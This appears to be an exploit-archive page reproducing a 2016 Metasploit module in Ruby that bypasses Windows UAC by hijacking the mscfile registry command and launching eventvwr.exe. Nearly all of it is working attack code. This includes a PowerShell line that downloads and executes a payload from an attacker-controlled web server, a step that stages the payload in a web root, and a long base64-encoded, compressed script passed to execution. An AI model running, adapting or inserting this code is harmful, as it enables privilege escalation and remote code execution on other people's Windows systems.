Windows - Fileless UAC Protection Bypass Privilege Escalation (Metasploit)

2016-08-19 19:05:42

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking

include Exploit::EXE
include Post::File
include Post::Windows::Priv
include Post::Windows::Runas
include Post::Windows::Registry
include Post::Windows::Powershell


def initialize(info={})
super( update_info(info,
'Name' => 'Windows Escalate UAC Protection Bypass with Fileless',
'Description' => %q{
This module will bypass Windows UAC by utilizing eventvwr.exe and hijacking entries registry on Windows.
},
'License' => MSF_LICENSE,
'Author' => [
'Matt Graeber',
'Enigma0x3',
'Pablo Gonzalez' # Port to local exploit
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0,
'References' => [
[ 'URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/' ],['URL','http://www.elladodelmal.com/2016/08/como-ownear-windows-7-y-windows-10-con.html'],
],
'DisclosureDate'=> "Aug 15 2016"
))

register_options([
OptString.new('FILE_DYNAMIC_PAYLOAD',[true,'Payload PSH Encoded will be generated here (Not include webserver path)']),
OptString.new('IPHOST',[true,'IP WebServer where File Payload will be downloaded']),
OptBool.new('LOCAL',[true,'File Payload is in this machine?',true] ),
])

end

def check_permissions!
# Check if you are an admin
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?

if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end

if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end

def exploit
validate_environment!

case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
)
when UAC_DEFAULT
print_good 'UAC is set to Default'
print_good 'BypassUAC can bypass this setting, continuing...'
when UAC_NO_PROMPT
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
runas_method
return
end

keys = registry_enumkeys('HKCU\Software\Classes\mscfile\shell\open\command')

if keys == nil
print_good("HKCU\\Software\\Classes\\mscfile\\shell\\open\\command not exist!")
end

key = registry_createkey('HKCU\Software\Classes\mscfile\shell\open\command')
reg = "IEX (New-Object Net.WebClient).DownloadString(\'http://#{datastore['IPHOST']}/#{datastore['FILE_DYNAMIC_PAYLOAD']}\')"

command = cmd_psh_payload(payload.encoded, 'x86',{:remove_comspec => true,:encode_final_payload => true})
if datastore['LOCAL']
if File.exists?("/var/www/html/#{datastore['FILE_DYNAMIC_PAYLOAD']}")
File.delete("/var/www/html/#{datastore['FILE_DYNAMIC_PAYLOAD']}")
end
file_local_write("/var/www/html/#{datastore['FILE_DYNAMIC_PAYLOAD']}",command)
end

result = registry_setvaldata('HKCU\Software\Classes\mscfile\shell\open\command','bypass','C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C ' + reg,'REG_SZ')
if result
execute_script("cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcANwBiADAASABZAEIAeABKAGwAaQBVAG0ATAAyADMASwBlADMAOQBLADkAVQByAFgANABIAFMAaABDAEkAQgBnAEUAeQBUAFkAawBFAEEAUQA3AE0ARwBJAHoAZQBhAFMANwBCADEAcABSAHkATQBwAHEAeQBxAEIAeQBtAFYAVwBaAFYAMQBtAEYAawBEAE0ANwBaADIAOAA5ADkANQA3ADcANwAzADMAMwBuAHYAdgB2AGYAZQA2AE8ANQAxAE8ASgAvAGYAZgAvAHoAOQBjAFoAbQBRAEIAYgBQAGIATwBTAHQAcgBKAG4AaQBHAEEAcQBzAGcAZgBQADMANQA4AEgAegA4AGkALwBxAC8ALwArADkAZgA0ADMAWAA2AE4AKwB0AGQAWQAvAHgAcgB0AHIANQBIADkARwB1AG0AdgA4AFIAbgA5AC8ANgBOAGYANAA5AHUALwB4AHUALwAxAGEANQB6ADgARwBsAC8AOQBHAG8AOQArAGoAZAAvADMAMQAzAGoAOQBhADEAUwAvAHgAagBsADkAZQAwAFgAZgAxADcAOQBHAFQAcAArAGMALwBCAG8AbAAvAGQANwBRAGYAegBuADkALwAvAGYAOQBOAFIAYgAwADcANQBUAGEARgBQAFEANQB2AG0AOQArAGoAVABuADkATABPAG0ALwAzADUAZgBlAFgAZABIAHYAUwAvAHAAdABTAHIAOAB2ADYATAArAE0ALwBwAHAAUgBIADcALwB4AHIANQBGAFEAegB4AFgAQgBuAEgARQBMADYAWAB2AHIAMQAvAGkAYwAvAG0AcAAvAGoAZQAxAGYANAA0AHoAKwB6AGEAbgA5AFMAMgBvAGgAVQBHAHIANgA1AEoAcgBhAGIATgBOAG4ARwBmADAAKwBwADkAOQA5ADMATABkAC8AagBSAGYAMABjADAARQB0ADAAMQAvAGoANAAxADkAagBRAG0AMQBYAGkAdQBmAEgAdgA4AGEAZABYADIATQBjAGYASQBMAGUAWAAxAEQATABLADYAKwBuAEwAcgBSAG4AagBOADIAVQA0AGYAMABNAC8AYgAvAGIAUABvAGEAWgBqADgASABXAHIALwBHAFUAZgBqAHUAbgBUADkAWgBFAGkANQBaAHcAKwBKAGoAYgAvAEMAUgA5AFUAdABKAG4ATwBmAGYAbwBVADIAQwA3AEIALwBNAE4ANAA0AHkAVwBEAGYAMQBkAEUANAAyAFgAdgA4AFoARgBGAEwAcwB2AEcAWABOAGcAZwBOADcASwAvAHcAYwA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA=")
print_good('Created registry entries to hijack!')
end

r = session.sys.process.execute("cmd.exe /c c:\\windows\\system32\\eventvwr.exe",nil,{'Hidden' => true, 'Channelized' => true})
check_permissions!

end

def validate_environment!
fail_with(Failure::None, 'Already in elevated state') if is_admin? or is_system?

winver = sysinfo['OS']

unless winver =~ /Windows Vista|Windows 2008|Windows [78]/
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
end

if is_uac_enabled?
print_status 'UAC is Enabled, checking level...'
else
if is_in_admin_group?
fail_with(Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end
end
end

Fixes

No fixes

In order to submit a new fix you need to be registered.